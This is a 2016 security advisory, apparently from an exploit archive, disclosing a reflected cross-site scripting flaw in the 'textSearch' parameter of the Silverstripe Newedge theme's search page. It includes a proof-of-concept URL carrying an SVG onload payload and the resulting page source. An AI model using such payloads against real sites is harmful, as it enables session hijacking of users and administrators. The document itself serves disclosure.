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Silverstripe Theme Newedge Cross Site Scripting

Silverstripe Theme Newedge Cross Site Scripting
Posted Sep 22, 2016
Authored by ZwX

Silverstripe theme Newedge suffers from a cross site scripting vulnerability.

tags | exploit, xss
MD5 | 55a5381043cfa943e8b676b5eb48382e

Silverstripe Theme Newedge Cross Site Scripting

Change Mirror Download
i>>?[+] Document Title: Silverstripe Theme Newedge - Cross Site Web Vulnerability
[+] Release Date: 2016-09-21
[+] Vendor : https://www.newedge.co.uk/
[+] Exploitation Technique: Remote
[+] Severity Level: Medium
[+] Tested Os : Windows 10

Release Date:
=============
2016-09-20


Vulnerability Disclosure Timeline:
==================================
2016-09-22 : Public Disclosure


Technical Details & Description:
================================
A client-side cross site scripting web vulnerability has been discovered in the official Theme Newedge for Silverstripe content management system.
The vulnerability allows remote attacker to inject own malicious script codes on the client-side of the vulnerable module or service.

A client-side cross site scripting web vulnerability is located in the search engine. The web vulnerability could allow an attacker
to execute javascript in the web-browser of the user or administrator to compromise session credentials. and so hijacked the identification.


Request Method(s):
[+] Get


Vulnerable Module(s):
[+] search (Input)


Vulnerable Parameter(s):
[+] textSearch


Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attackers without privileged user account and with low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

Request Method Get
[+] http://localhost:8000/search/searchresults?textSearch=" ><svg/onload=alert(/VulnerabilityLab/)>&RegionSelect=9&CountrySelect=12&Resort Select=ALL&BoardBasis=all&tags[]=3


--- PoC: Source ---
<div class="luxury_form">
<form action="search/searchresults">
<div class="form_block">
<input id="textSearch" name="textSearch" onkeyup="searchAjax()" type="text" class="luxury_field" value="" ><svg/onload=alert(/VulnerabilityLab/)>" onBlur="if(value==''){value='Hotel name'}" onFocus="if(value=='Hotel name'){value=''}">
</div>
</form>
</div>


[+] Disclaimer [+]
===================
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author.
The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere.


Domain: www.zwx.fr
Contact: msk4@live.fr
Social: twitter.com/XSSed.fr
Feeds: www.zwx.fr/feed/
Advisory: www.vulnerability-lab.com/show.php?user=ZwX
packetstormsecurity.com/files/author/12026/
0day.today/author/27461


Copyright A(c) 2016 | ZwX - Security Researcher (Software & web application)

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